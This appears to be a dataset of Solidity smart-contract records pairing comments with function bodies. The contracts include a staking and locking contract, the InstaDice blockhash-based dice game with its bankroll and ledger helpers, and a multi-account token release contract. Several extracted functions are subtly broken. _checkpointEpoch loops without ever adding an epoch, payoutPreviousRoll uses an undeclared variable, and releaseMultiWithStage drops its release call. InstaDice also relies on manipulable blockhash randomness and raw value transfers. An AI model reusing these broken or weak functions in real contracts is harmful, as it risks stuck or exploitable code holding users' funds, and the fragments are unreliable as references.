allocateCVXForTransfer(uint256 _amount) internal { uint256 balance = stakingToken.balanceOf(address(this)); } //transfer helper: pull enough from staking, transfer, updating staking ratio function transferCVX( address _account, uint256 _amount, bool _updateStake ) internal { //allocate enough cvx from staking for the transfer allocateCVXForTransfer(_amount); //transfer stakingToken.safeTransfer(_account, _amount); } //calculate how much cvx should be staked. update if needed function updateStakeRatio(uint256 _offset) internal { if (isShutdown) return; //get balances uint256 local = stakingToken.balanceOf(address(this)); uint256 staked = IStakingProxy(stakingProxy).getBalance(); uint256 total = local.add(staked); if (total == 0) return; //current staked ratio uint256 ratio = staked.mul(denominator).div(total); //mean will be where we reset to if unbalanced uint256 mean = maximumStake.add(minimumStake).div(2); uint256 max = maximumStake.add(_offset); uint256 min = MathUpgradeable.min(minimumStake, minimumStake - _offset); if (ratio > max) { //remove uint256 remove = staked.sub(total.mul(mean).div(denominator)); IStakingProxy(stakingProxy).withdraw(remove); } else if (ratio < min) { //add uint256 increase = total.mul(mean).div(denominator).sub(staked); stakingToken.safeTransfer(stakingProxy, increase); IStakingProxy(stakingProxy).stake(); } } // Claim all pending rewards function getReward(address _account, bool _stake) public nonReentrant gacPausable updateReward(_account) { for (uint256 i; i < rewardTokens.length; i++) { address _rewardsToken = rewardTokens[i]; uint256 reward = rewards[_account][_rewardsToken]; if (reward > 0) { rewards[_account][_rewardsToken] = 0; IERC20Upgradeable(_rewardsToken).safeTransfer(_account, reward); emit RewardPaid(_account, _rewardsToken, reward); } } } // claim all pending rewards function getReward(address _account) external { getReward(_account, false); } /* ========== RESTRICTED FUNCTIONS ========== */ function _notifyReward(address _rewardsToken, uint256 _reward) internal { Reward storage rdata = rewardData[_rewardsToken]; if (block.timestamp >= rdata.periodFinish) { rdata.rewardRate = _reward.div(rewardsDuration).to208(); } else { uint256 remaining = uint256(rdata.periodFinish).sub( block.timestamp ); uint256 leftover = remaining.mul(rdata.rewardRate); rdata.rewardRate = _reward .add(leftover) .div(rewardsDuration) .to208(); } rdata.lastUpdateTime = block.timestamp.to40(); rdata.periodFinish = block.timestamp.add(rewardsDuration).to40(); } function notifyRewardAmount(address _rewardsToken, uint256 _reward) external gacPausable updateReward(address(0)) { require(rewardDistributors[_rewardsToken][msg.sender]); require(_reward > 0, "No reward"); _notifyReward(_rewardsToken, _reward); // handle the transfer of reward tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the _reward amount IERC20Upgradeable(_rewardsToken).safeTransferFrom( msg.sender, address(this), _reward ); emit RewardAdded(_rewardsToken, _reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address _tokenAddress, uint256 _tokenAmount) external onlyOwner gacPausable { require( _tokenAddress != address(stakingToken), "Cannot withdraw staking token" ); require( rewardData[_tokenAddress].lastUpdateTime == 0, "Cannot withdraw reward token" ); IERC20Upgradeable(_tokenAddress).safeTransfer(owner(), _tokenAmount); emit Recovered(_tokenAddress, _tokenAmount); } /* ========== MODIFIERS ========== */ modifier updateReward(address _account) { { //stack too deep Balances storage userBalance = balances[_account]; uint256 boostedBal = userBalance.boosted; for (uint256 i = 0; i < rewardTokens.length; i++) { address token = rewardTokens[i]; rewardData[token].rewardPerTokenStored = _rewardPerToken(token) .to208(); rewardData[token].lastUpdateTime = _lastTimeRewardApplicable( rewardData[token].periodFinish ).to40(); if (_account != address(0)) { //check if reward is boostable or not. use boosted or locked balance accordingly rewards[_account][token] = _earned( _account, token, rewardData[token].useBoost ? boostedBal : userBalance.locked ); userRewardPerTokenPaid[_account][token] = rewardData[token] .rewardPerTokenStored; } } } _; } /* ========== EVENTS ========== */ event RewardAdded(address indexed _token, uint256 _reward); event Staked( address indexed _user, uint256 indexed _epoch, uint256 _paidAmount, uint256 _lockedAmount, uint256 _boostedAmount ); event Withdrawn(address indexed _user, uint256 _amount, bool _relocked); event KickReward( address indexed _user, address indexed _kicked, uint256 _reward ); event RewardPaid( address indexed _user, address indexed _rewardsToken, uint256 _reward ); event Recovered(address _token, uint256 _amount); }
insert a new epoch if needed. fill in any gapscreate new epoch in the future where new non-active locks will lock tofirst epoch add in constructor, no need to check 0 lengthcheck to addfill any epoch gapsupdate boost parameters on a new epoch
function _checkpointEpoch() internal { uint256 nextEpoch = block .timestamp .div(rewardsDuration) .mul(rewardsDuration) .add(rewardsDuration); uint256 epochindex = epochs.length; if (epochs[epochindex - 1].date < nextEpoch) { while (epochs[epochs.length - 1].date != nextEpoch) { uint256 nextEpochDate = uint256(epochs[epochs.length - 1].date) .add(rewardsDuration); } if (boostRate != nextBoostRate) { boostRate = nextBoostRate; } if (maximumBoostPayment != nextMaximumBoostPayment) { maximumBoostPayment = nextMaximumBoostPayment; } } }
1,374,733
pragma solidity ^0.4.23; /******* USING Registry ************************** Gives the inherting contract access to: .addressOf(bytes32): returns current address mapped to the name. [modifier] .fromOwner(): requires the sender is owner. *************************************************/ // Returned by .getRegistry() interface IRegistry { function owner() external view returns (address _addr); function addressOf(bytes32 _name) external view returns (address _addr); } contract UsingRegistry { IRegistry private registry; modifier fromOwner(){ require(msg.sender == getOwner()); _; } constructor(address _registry) public { require(_registry != 0); registry = IRegistry(_registry); } function addressOf(bytes32 _name) internal view returns(address _addr) { return registry.addressOf(_name); } function getOwner() public view returns (address _addr) { return registry.owner(); } function getRegistry() public view returns (IRegistry _addr) { return registry; } } /** This is a simple class that maintains a doubly linked list of address => uint amounts. Address balances can be added to or removed from via add() and subtract(). All balances can be obtain by calling balances(). If an address has a 0 amount, it is removed from the Ledger. Note: THIS DOES NOT TEST FOR OVERFLOWS, but it's safe to use to track Ether balances. Public methods: - [fromOwner] add() - [fromOwner] subtract() Public views: - total() - size() - balanceOf() - balances() - entries() [to manually iterate] */ contract Ledger { uint public total; // Total amount in Ledger struct Entry { // Doubly linked list tracks amount per address uint balance; address next; address prev; } mapping (address => Entry) public entries; address public owner; modifier fromOwner() { require(msg.sender==owner); _; } // Constructor sets the owner constructor(address _owner) public { owner = _owner; } /******************************************************/ /*************** OWNER METHODS ************************/ /******************************************************/ function add(address _address, uint _amt) fromOwner public { if (_address == address(0) || _amt == 0) return; Entry storage entry = entries[_address]; // If new entry, replace first entry with this one. if (entry.balance == 0) { entry.next = entries[0x0].next; entries[entries[0x0].next].prev = _address; entries[0x0].next = _address; } // Update stats. total += _amt; entry.balance += _amt; } function subtract(address _address, uint _amt) fromOwner public returns (uint _amtRemoved) { if (_address == address(0) || _amt == 0) return; Entry storage entry = entries[_address]; uint _maxAmt = entry.balance; if (_maxAmt == 0) return; if (_amt >= _maxAmt) { // Subtract the max amount, and delete entry. total -= _maxAmt; entries[entry.prev].next = entry.next; entries[entry.next].prev = entry.prev; delete entries[_address]; return _maxAmt; } else { // Subtract the amount from entry. total -= _amt; entry.balance -= _amt; return _amt; } } /******************************************************/ /*************** PUBLIC VIEWS *************************/ /******************************************************/ function size() public view returns (uint _size) { // Loop once to get the total count. Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _curEntry = entries[_curEntry.next]; _size++; } return _size; } function balanceOf(address _address) public view returns (uint _balance) { return entries[_address].balance; } function balances() public view returns (address[] _addresses, uint[] _balances) { // Populate names and addresses uint _size = size(); _addresses = new address[](_size); _balances = new uint[](_size); uint _i = 0; Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _addresses[_i] = _curEntry.next; _balances[_i] = entries[_curEntry.next].balance; _curEntry = entries[_curEntry.next]; _i++; } return (_addresses, _balances); } } /** This is a simple class that maintains a doubly linked list of addresses it has seen. Addresses can be added and removed from the set, and a full list of addresses can be obtained. Methods: - [fromOwner] .add() - [fromOwner] .remove() Views: - .size() - .has() - .addresses() */ contract AddressSet { struct Entry { // Doubly linked list bool exists; address next; address prev; } mapping (address => Entry) public entries; address public owner; modifier fromOwner() { require(msg.sender==owner); _; } // Constructor sets the owner. constructor(address _owner) public { owner = _owner; } /******************************************************/ /*************** OWNER METHODS ************************/ /******************************************************/ function add(address _address) fromOwner public returns (bool _didCreate) { // Do not allow the adding of HEAD. if (_address == address(0)) return; Entry storage entry = entries[_address]; // If already exists, do nothing. Otherwise set it. if (entry.exists) return; else entry.exists = true; // Replace first entry with this one. // Before: HEAD <-> X <-> Y // After: HEAD <-> THIS <-> X <-> Y // do: THIS.NEXT = [0].next; [0].next.prev = THIS; [0].next = THIS; THIS.prev = 0; Entry storage HEAD = entries[0x0]; entry.next = HEAD.next; entries[HEAD.next].prev = _address; HEAD.next = _address; return true; } function remove(address _address) fromOwner public returns (bool _didExist) { // Do not allow the removal of HEAD. if (_address == address(0)) return; Entry storage entry = entries[_address]; // If it doesn't exist already, there is nothing to do. if (!entry.exists) return; // Stitch together next and prev, delete entry. // Before: X <-> THIS <-> Y // After: X <-> Y // do: THIS.next.prev = this.prev; THIS.prev.next = THIS.next; entries[entry.prev].next = entry.next; entries[entry.next].prev = entry.prev; delete entries[_address]; return true; } /******************************************************/ /*************** PUBLIC VIEWS *************************/ /******************************************************/ function size() public view returns (uint _size) { // Loop once to get the total count. Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _curEntry = entries[_curEntry.next]; _size++; } return _size; } function has(address _address) public view returns (bool _exists) { return entries[_address].exists; } function addresses() public view returns (address[] _addresses) { // Populate names and addresses uint _size = size(); _addresses = new address[](_size); // Iterate forward through all entries until the end. uint _i = 0; Entry memory _curEntry = entries[0x0]; while (_curEntry.next > 0) { _addresses[_i] = _curEntry.next; _curEntry = entries[_curEntry.next]; _i++; } return _addresses; } } /******* USING TREASURY ************************** Gives the inherting contract access to: .getTreasury(): returns current ITreasury instance [modifier] .fromTreasury(): requires the sender is current Treasury *************************************************/ // Returned by .getTreasury() interface ITreasury { function issueDividend() external returns (uint _profits); function profitsSendable() external view returns (uint _profits); } contract UsingTreasury is UsingRegistry { constructor(address _registry) UsingRegistry(_registry) public {} modifier fromTreasury(){ require(msg.sender == address(getTreasury())); _; } function getTreasury() public view returns (ITreasury) { return ITreasury(addressOf("TREASURY")); } } /** A simple class that manages bankroll, and maintains collateral. This class only ever sends profits the Treasury. No exceptions. - Anybody can add funding (according to whitelist) - Anybody can tell profits (balance - (funding + collateral)) to go to Treasury. - Anyone can remove their funding, so long as balance >= collateral. - Whitelist is managed by getWhitelistOwner() -- typically Admin. Exposes the following: Public Methods - addBankroll - removeBankroll - sendProfits Public Views - getCollateral - profits - profitsSent - profitsTotal - bankroll - bankrollAvailable - bankrolledBy - bankrollerTable */ contract Bankrollable is UsingTreasury { // How much profits have been sent. uint public profitsSent; // Ledger keeps track of who has bankrolled us, and for how much Ledger public ledger; // This is a copy of ledger.total(), to save gas in .bankrollAvailable() uint public bankroll; // This is the whitelist of who can call .addBankroll() AddressSet public whitelist; modifier fromWhitelistOwner(){ require(msg.sender == getWhitelistOwner()); _; } event BankrollAdded(uint time, address indexed bankroller, uint amount, uint bankroll); event BankrollRemoved(uint time, address indexed bankroller, uint amount, uint bankroll); event ProfitsSent(uint time, address indexed treasury, uint amount); event AddedToWhitelist(uint time, address indexed addr, address indexed wlOwner); event RemovedFromWhitelist(uint time, address indexed addr, address indexed wlOwner); // Constructor creates the ledger and whitelist, with self as owner. constructor(address _registry) UsingTreasury(_registry) public { ledger = new Ledger(this); whitelist = new AddressSet(this); } /*****************************************************/ /************** WHITELIST MGMT ***********************/ /*****************************************************/ function addToWhitelist(address _addr) fromWhitelistOwner public { bool _didAdd = whitelist.add(_addr); if (_didAdd) emit AddedToWhitelist(now, _addr, msg.sender); } function removeFromWhitelist(address _addr) fromWhitelistOwner public { bool _didRemove = whitelist.remove(_addr); if (_didRemove) emit RemovedFromWhitelist(now, _addr, msg.sender); } /*****************************************************/ /************** PUBLIC FUNCTIONS *********************/ /*****************************************************/ // Bankrollable contracts should be payable (to receive revenue) function () public payable {} // Increase funding by whatever value is sent function addBankroll() public payable { require(whitelist.size()==0 || whitelist.has(msg.sender)); ledger.add(msg.sender, msg.value); bankroll = ledger.total(); emit BankrollAdded(now, msg.sender, msg.value, bankroll); } // Removes up to _amount from Ledger, and sends it to msg.sender._callbackFn function removeBankroll(uint _amount, string _callbackFn) public returns (uint _recalled) { // cap amount at the balance minus collateral, or nothing at all. address _bankroller = msg.sender; uint _collateral = getCollateral(); uint _balance = address(this).balance; uint _available = _balance > _collateral ? _balance - _collateral : 0; if (_amount > _available) _amount = _available; // Try to remove _amount from ledger, get actual _amount removed. _amount = ledger.subtract(_bankroller, _amount); bankroll = ledger.total(); if (_amount == 0) return; bytes4 _sig = bytes4(keccak256(_callbackFn)); require(_bankroller.call.value(_amount)(_sig)); emit BankrollRemoved(now, _bankroller, _amount, bankroll); return _amount; } // Send any excess profits to treasury. function sendProfits() public returns (uint _profits) { int _p = profits(); if (_p <= 0) return; _profits = uint(_p); profitsSent += _profits; // Send profits to Treasury address _tr = getTreasury(); require(_tr.call.value(_profits)()); emit ProfitsSent(now, _tr, _profits); } /*****************************************************/ /************** PUBLIC VIEWS *************************/ /*****************************************************/ // Function must be overridden by inheritors to ensure collateral is kept. function getCollateral() public view returns (uint _amount); // Function must be overridden by inheritors to enable whitelist control. function getWhitelistOwner() public view returns (address _addr); // Profits are the difference between balance and threshold function profits() public view returns (int _profits) { int _balance = int(address(this).balance); int _threshold = int(bankroll + getCollateral()); return _balance - _threshold; } // How profitable this contract is, overall function profitsTotal() public view returns (int _profits) { return int(profitsSent) + profits(); } // Returns the amount that can currently be bankrolled. // - 0 if balance < collateral // - If profits: full bankroll // - If no profits: remaning bankroll: balance - collateral function bankrollAvailable() public view returns (uint _amount) { uint _balance = address(this).balance; uint _bankroll = bankroll; uint _collat = getCollateral(); // Balance is below collateral! if (_balance <= _collat) return 0; // No profits, but we have a balance over collateral. else if (_balance < _collat + _bankroll) return _balance - _collat; // Profits. Return only _bankroll else return _bankroll; } function bankrolledBy(address _addr) public view returns (uint _amount) { return ledger.balanceOf(_addr); } function bankrollerTable() public view returns (address[], uint[]) { return ledger.balances(); } } /******* USING ADMIN *********************** Gives the inherting contract access to: .getAdmin(): returns the current address of the admin [modifier] .fromAdmin: requires the sender is the admin *************************************************/ contract UsingAdmin is UsingRegistry { constructor(address _registry) UsingRegistry(_registry) public {} modifier fromAdmin(){ require(msg.sender == getAdmin()); _; } function getAdmin() public constant returns (address _addr) { return addressOf("ADMIN"); } } /********************************************************* *********************** INSTADICE ************************ ********************************************************** This contract allows for users to wager a limited amount on then outcome of a random roll between [1, 100]. The user may choose a number, and if the roll is less than or equal to that number, they will win a payout that is inversely proportional to the number they chose (lower numbers pay out more). When a roll is "finalized", it means the result was determined and the payout paid to the user if they won. Each time somebody rolls, their previous roll is finalized. Roll results are based on blockhash, and since only the last 256 blockhashes are available (who knows why it is so limited...), the user must finalize within 256 blocks or their roll loses. Note about randomness: Although using blockhash for randomness is not advised, it is perfectly acceptable if the results of the block are not worth an expected value greater than that of: (full block reward - uncle block reward) = ~.625 Eth In other words, a miner is better of mining honestly and getting a full block reward than trying to game this contract, unless the maximum bet is increased to about .625, which this contract forbids. */ contract InstaDice is Bankrollable, UsingAdmin { struct User { uint32 id; uint32 r_id; uint32 r_block; uint8 r_number; uint72 r_payout; } // These stats are updated on each roll. struct Stats { uint32 numUsers; uint32 numRolls; uint96 totalWagered; uint96 totalWon; } // Admin controlled settings struct Settings { uint64 minBet; // uint64 maxBet; // uint8 minNumber; // they get ~20x their bet uint8 maxNumber; // they get ~1.01x their bet uint16 feeBips; // each bip is .01%, eg: 100 = 1% fee. } mapping (address => User) public users; Stats stats; Settings settings; uint8 constant public version = 1; // Admin events event Created(uint time); event SettingsChanged(uint time, address indexed admin); // Events event RollWagered(uint time, uint32 indexed id, address indexed user, uint bet, uint8 number, uint payout); event RollRefunded(uint time, address indexed user, string msg, uint bet, uint8 number); event RollFinalized(uint time, uint32 indexed id, address indexed user, uint8 result, uint payout); event PayoutError(uint time, string msg); constructor(address _registry) Bankrollable(_registry) UsingAdmin(_registry) public { stats.totalWagered = 1; // initialize to 1 to make first roll cheaper. settings.maxBet = .3 ether; settings.minBet = .001 ether; settings.minNumber = 5; settings.maxNumber = 98; settings.feeBips = 100; emit Created(now); } /////////////////////////////////////////////////// ////// ADMIN FUNCTIONS //////////////////////////// /////////////////////////////////////////////////// // Changes the settings function changeSettings( uint64 _minBet, uint64 _maxBet, uint8 _minNumber, uint8 _maxNumber, uint16 _feeBips ) public fromAdmin { require(_minBet <= _maxBet); // makes sense require(_maxBet <= .625 ether); // capped at (block reward - uncle reward) require(_minNumber >= 1); // not advisible, but why not require(_maxNumber <= 99); // over 100 makes no sense require(_feeBips <= 500); // max of 5% settings.minBet = _minBet; settings.maxBet = _maxBet; settings.minNumber = _minNumber; settings.maxNumber = _maxNumber; settings.feeBips = _feeBips; emit SettingsChanged(now, msg.sender); } /////////////////////////////////////////////////// ////// PUBLIC FUNCTIONS /////////////////////////// /////////////////////////////////////////////////// // Resolves the last roll for the user. // Then creates a new roll. // Gas: // Total: 56k (new), or up to 44k (repeat) // Overhead: 36k // 22k: tx overhead // 2k: SLOAD // 3k: execution // 2k: curMaxBet() // 5k: update stats // 2k: RollWagered event // New User: 20k // 20k: create user // Repeat User: 8k, 16k // 5k: update user // 3k: RollFinalized event // 8k: pay last roll function roll(uint8 _number) public payable returns (bool _success) { // Ensure bet and number are valid. if (!_validateBetOrRefund(_number)) return; // Ensure one bet per block. User memory _user = users[msg.sender]; if (_user.r_block == uint32(block.number)){ _errorAndRefund("Only one bet per block allowed.", msg.value, _number); return false; } // Finalize last roll, if there is one. Stats memory _stats = stats; if (_user.r_block != 0) _finalizePreviousRoll(_user, _stats); // Compute new stats data _stats.numUsers = _user.id == 0 ? _stats.numUsers + 1 : _stats.numUsers; _stats.numRolls = stats.numRolls + 1; _stats.totalWagered = stats.totalWagered + uint96(msg.value); stats = _stats; // Compute new user data _user.id = _user.id == 0 ? _stats.numUsers : _user.id; _user.r_id = _stats.numRolls; _user.r_block = uint32(block.number); _user.r_number = _number; _user.r_payout = computePayout(msg.value, _number); users[msg.sender] = _user; // Save user in one write. emit RollWagered(now, _user.r_id, msg.sender, msg.value, _user.r_number, _user.r_payout); return true; } // Finalizes the previous roll and pays out user if they won. // Gas: 45k // 21k: tx overhead // 1k: SLOADs // 2k: execution // 8k: send winnings // 5k: update user // 5k: update stats // 3k: RollFinalized event function payoutPreviousRoll() public returns (bool _success) { // Load last roll in one SLOAD. User storage _user = users[msg.sender]; // Error if on same block. if (_user.r_block == uint32(block.number)){ emit PayoutError(now, "Cannot payout roll on the same block"); return false; } // Error if nothing to payout. if (_user.r_block == 0){ emit PayoutError(now, "No roll to pay out."); return false; } // Finalize previous roll (this may update stats) Stats memory _stats = stats; _finalizePreviousRoll(_user, _stats); // Clear last roll, update stats _user.r_id = 0; _user.r_block = 0; _user.r_number = 0; _user.r_payout = 0; stats.totalWon = _stats.totalWon; return true; } //////////////////////////////////////////////////////// ////// PRIVATE FUNCTIONS /////////////////////////////// //////////////////////////////////////////////////////// // Validates the bet, or refunds the user. function _validateBetOrRefund(uint8 _number) private returns (bool _isValid) { Settings memory _settings = settings; if (_number < _settings.minNumber) { _errorAndRefund("Roll number too small.", msg.value, _number); return false; } if (_number > _settings.maxNumber){ _errorAndRefund("Roll number too large.", msg.value, _number); return false; } if (msg.value < _settings.minBet){ _errorAndRefund("Bet too small.", msg.value, _number); return false; } if (msg.value > _settings.maxBet){ _errorAndRefund("Bet too large.", msg.value, _number); return false; } if (msg.value > curMaxBet()){ _errorAndRefund("May be unable to payout on a win.", msg.value, _number); return false; } return true; } // Finalizes the previous roll for the _user. // There must be a previous roll, or this throws. // Returns true, unless user wins and we couldn't pay. function _finalizePreviousRoll(User memory _user, Stats memory _stats) private { assert(_user.r_block != uint32(block.number)); assert(_user.r_block != 0); // compute result and isWinner uint8 _result = computeResult(_user.r_block, _user.r_id); bool _isWinner = _result <= _user.r_number; if (_isWinner) { require(msg.sender.call.value(_user.r_payout)()); _stats.totalWon += _user.r_payout; } // they won and we paid, or they lost. roll is finalized. emit RollFinalized(now, _user.r_id, msg.sender, _result, _isWinner ? _user.r_payout : 0); } // Only called from above. // Refunds user the full value, and logs an error function _errorAndRefund(string _msg, uint _bet, uint8 _number) private { require(msg.sender.call.value(msg.value)()); emit RollRefunded(now, msg.sender, _msg, _bet, _number); } /////////////////////////////////////////////////// ////// PUBLIC VIEWS /////////////////////////////// /////////////////////////////////////////////////// // IMPLEMENTS: Bankrollable.getCollateral() // This contract has no collateral, as it pays out in near realtime. function getCollateral() public view returns (uint _amount) { return 0; } // IMPLEMENTS: Bankrollable.getWhitelistOwner() // Ensures contract always has at least bankroll + totalCredits. function getWhitelistOwner() public view returns (address _wlOwner) { return getAdmin(); } // Returns the largest bet such that we could pay out 10 maximum wins. // The likelihood that 10 maximum bets (with highest payouts) are won // within a short period of time are extremely low. function curMaxBet() public view returns (uint _amount) { // Return largest bet such that 10*bet*payout = bankrollable() uint _maxPayout = 10 * 100 / uint(settings.minNumber); return bankrollAvailable() / _maxPayout; } // Return the less of settings.maxBet and curMaxBet() function effectiveMaxBet() public view returns (uint _amount) { uint _curMax = curMaxBet(); return _curMax > settings.maxBet ? settings.maxBet : _curMax; } // Computes the payout amount for the current _feeBips function computePayout(uint _bet, uint _number) public view returns (uint72 _wei) { uint _feeBips = settings.feeBips; // Cast to uint, makes below math cheaper. uint _bigBet = _bet * 1e32; // Will not overflow unless _bet >> ~1e40 uint _bigPayout = (_bigBet * 100) / _number; uint _bigFee = (_bigPayout * _feeBips) / 10000; return uint72( (_bigPayout - _bigFee) / 1e32 ); } // Returns a number between 1 and 100 (inclusive) // If blockNumber is too far past, returns 101. function computeResult(uint32 _blockNumber, uint32 _id) public view returns (uint8 _result) { bytes32 _blockHash = blockhash(_blockNumber); if (_blockHash == 0) { return 101; } return uint8(uint(keccak256(_blockHash, _id)) % 100 + 1); } // Expose all Stats ///////////////////////////////// function numUsers() public view returns (uint32) { return stats.numUsers; } function numRolls() public view returns (uint32) { return stats.numRolls; } function totalWagered() public view returns (uint) { return stats.totalWagered; } function totalWon() public view returns (uint) { return stats.totalWon; } ////////////////////////////////////////////////////// // Expose all Settings /////////////////////////////// function minBet() public view returns (uint) { return settings.minBet; } function maxBet() public view returns (uint) { return settings.maxBet; } function minNumber() public view returns (uint8) { return settings.minNumber; } function maxNumber() public view returns (uint8) { return settings.maxNumber; } function feeBips() public view returns (uint16) { return settings.feeBips; } ////////////////////////////////////////////////////// }
Finalizes the previous roll and pays out user if they won. Gas: 45k 21k: tx overhead 1k: SLOADs 2k: execution 8k: send winnings 5k: update user 5k: update stats 3k: RollFinalized event Load last roll in one SLOAD. Error if on same block. Error if nothing to payout.
function payoutPreviousRoll() public returns (bool _success) { User storage _user = users[msg.sender]; if (_user.r_block == uint32(block.number)){ emit PayoutError(now, "Cannot payout roll on the same block"); return false; } if (_user.r_block == 0){ emit PayoutError(now, "No roll to pay out."); return false; } _finalizePreviousRoll(_user, _stats); _user.r_block = 0; _user.r_number = 0; _user.r_payout = 0; stats.totalWon = _stats.totalWon; return true; }
1,681,810
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface iContract { function transferOwnership(address _newOwner) external; function owner() external view returns (address); } contract OwnerContract is Ownable { iContract public ownedContract; address origOwner; /** * @dev bind a contract as its owner * * @param _contract the contract address that will be binded by this Owner Contract */ function setContract(address _contract) public onlyOwner { require(_contract != address(0)); ownedContract = iContract(_contract); origOwner = ownedContract.owner(); } /** * @dev change the owner of the contract from this contract address to the original one. * */ function transferOwnershipBack() public onlyOwner { ownedContract.transferOwnership(origOwner); ownedContract = iContract(address(0)); origOwner = address(0); } } interface iReleaseTokenContract { function releaseWithStage(address _target, address _dest) external returns (bool); function releaseAccount(address _target) external returns (bool); function transferAndFreeze(address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) external returns (bool); function freeze(address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) external returns (bool); function releaseOldBalanceOf(address _target) external returns (bool); function releaseByStage(address _target) external returns (bool); } contract ReleaseTokenToMulti is OwnerContract { using SafeMath for uint256; iReleaseTokenContract iReleaseContract; /** * @dev bind a contract as its owner * * @param _contract the contract address that will be binded by this Owner Contract */ function setContract(address _contract) onlyOwner public { super.setContract(_contract); iReleaseContract = iReleaseTokenContract(_contract); } /** * @dev release the locked tokens owned by a number of accounts * * @param _targets the accounts list that hold an amount of locked tokens */ function releaseMultiAccounts(address[] _targets) onlyOwner public returns (bool) { //require(_tokenAddr != address(0)); require(_targets.length != 0); bool res = false; uint256 i = 0; while (i < _targets.length) { res = iReleaseContract.releaseAccount(_targets[i]) || res; i = i.add(1); } return res; } /** * @dev release the locked tokens owned by an account * * @param _targets the account addresses list that hold amounts of locked tokens * @param _dests the secondary addresses list that will hold the released tokens for each target account */ function releaseMultiWithStage(address[] _targets, address[] _dests) onlyOwner public returns (bool) { //require(_tokenAddr != address(0)); require(_targets.length != 0); require(_dests.length != 0); assert(_targets.length == _dests.length); bool res = false; uint256 i = 0; while (i < _targets.length) { require(_targets[i] != address(0)); require(_dests[i] != address(0)); res = iReleaseContract.releaseWithStage(_targets[i], _dests[i]) || res; // as long as there is one true transaction, then the result will be true i = i.add(1); } return res; } /** * @dev freeze multiple of the accounts * * @param _targets the owners of some amount of tokens * @param _values the amounts of the tokens * @param _frozenEndTimes the list of the end time of the lock period, unit is second * @param _releasePeriods the list of the locking period, unit is second */ function freezeMulti(address[] _targets, uint256[] _values, uint256[] _frozenEndTimes, uint256[] _releasePeriods) onlyOwner public returns (bool) { require(_targets.length != 0); require(_values.length != 0); require(_frozenEndTimes.length != 0); require(_releasePeriods.length != 0); require(_targets.length == _values.length && _values.length == _frozenEndTimes.length && _frozenEndTimes.length == _releasePeriods.length); bool res = true; for (uint256 i = 0; i < _targets.length; i = i.add(1)) { require(_targets[i] != address(0)); res = iReleaseContract.freeze(_targets[i], _values[i], _frozenEndTimes[i], _releasePeriods[i]) && res; } return res; } /** * @dev transfer a list of amounts of tokens to a list of accounts, and then freeze the tokens * * @param _targets the account addresses that will hold a list of amounts of the tokens * @param _values the amounts of the tokens which have been transferred * @param _frozenEndTimes the end time list of the locked periods, unit is second * @param _releasePeriods the list of locking periods, unit is second */ function transferAndFreezeMulti(address[] _targets, uint256[] _values, uint256[] _frozenEndTimes, uint256[] _releasePeriods) onlyOwner public returns (bool) { require(_targets.length != 0); require(_values.length != 0); require(_frozenEndTimes.length != 0); require(_releasePeriods.length != 0); require(_targets.length == _values.length && _values.length == _frozenEndTimes.length && _frozenEndTimes.length == _releasePeriods.length); bool res = true; for (uint256 i = 0; i < _targets.length; i = i.add(1)) { require(_targets[i] != address(0)); res = iReleaseContract.transferAndFreeze(_targets[i], _values[i], _frozenEndTimes[i], _releasePeriods[i]) && res; } return res; } /** * @dev release the locked tokens owned by multi-accounts, which are the tokens * that belong to these accounts before being locked. * this need the releasing-to address has already been set. * * @param _targets the serial of account addresses that hold an amount of locked tokens */ function releaseAllOldBalanceOf(address[] _targets) onlyOwner public returns (bool) { require(_targets.length != 0); bool res = true; for (uint256 i = 0; i < _targets.length; i = i.add(1)) { require(_targets[i] != address(0)); res = iReleaseContract.releaseOldBalanceOf(_targets[i]) && res; } return res; } /** * @dev release the locked tokens owned by an account with several stages * this need the contract get approval from the account by call approve() in the token contract * and also need the releasing-to address has already been set. * * @param _targets the account address that hold an amount of locked tokens */ function releaseMultiByStage(address[] _targets) onlyOwner public returns (bool) { require(_targets.length != 0); bool res = false; for (uint256 i = 0; i < _targets.length; i = i.add(1)) { require(_targets[i] != address(0)); res = iReleaseContract.releaseByStage(_targets[i]) || res; } return res; } }
release the locked tokens owned by an account _targets the account addresses list that hold amounts of locked tokens _dests the secondary addresses list that will hold the released tokens for each target account/require(_tokenAddr != address(0));
function releaseMultiWithStage(address[] _targets, address[] _dests) onlyOwner public returns (bool) { require(_targets.length != 0); require(_dests.length != 0); assert(_targets.length == _dests.length); bool res = false; uint256 i = 0; while (i < _targets.length) { require(_targets[i] != address(0)); require(_dests[i] != address(0)); i = i.add(1); } return res; }
6,788,016
./full_match/42/0x77AD4FFE20F32b88D3BF915450C0b4a2eDE59A81/sources/browser/ACOPool2.sol
Function to get the withdrawal data for a shares amount considering that there is locked collateral on the operation. shares Amount of shares to be withdrawn. return underlyingWithdrawn The underlying amount on the withdraw strikeAssetWithdrawn the strike asset amount on the withdraw acos addresses of the ACOs with locked collateral that will be transferred acosAmount the respective ACOs amount to be transferred./
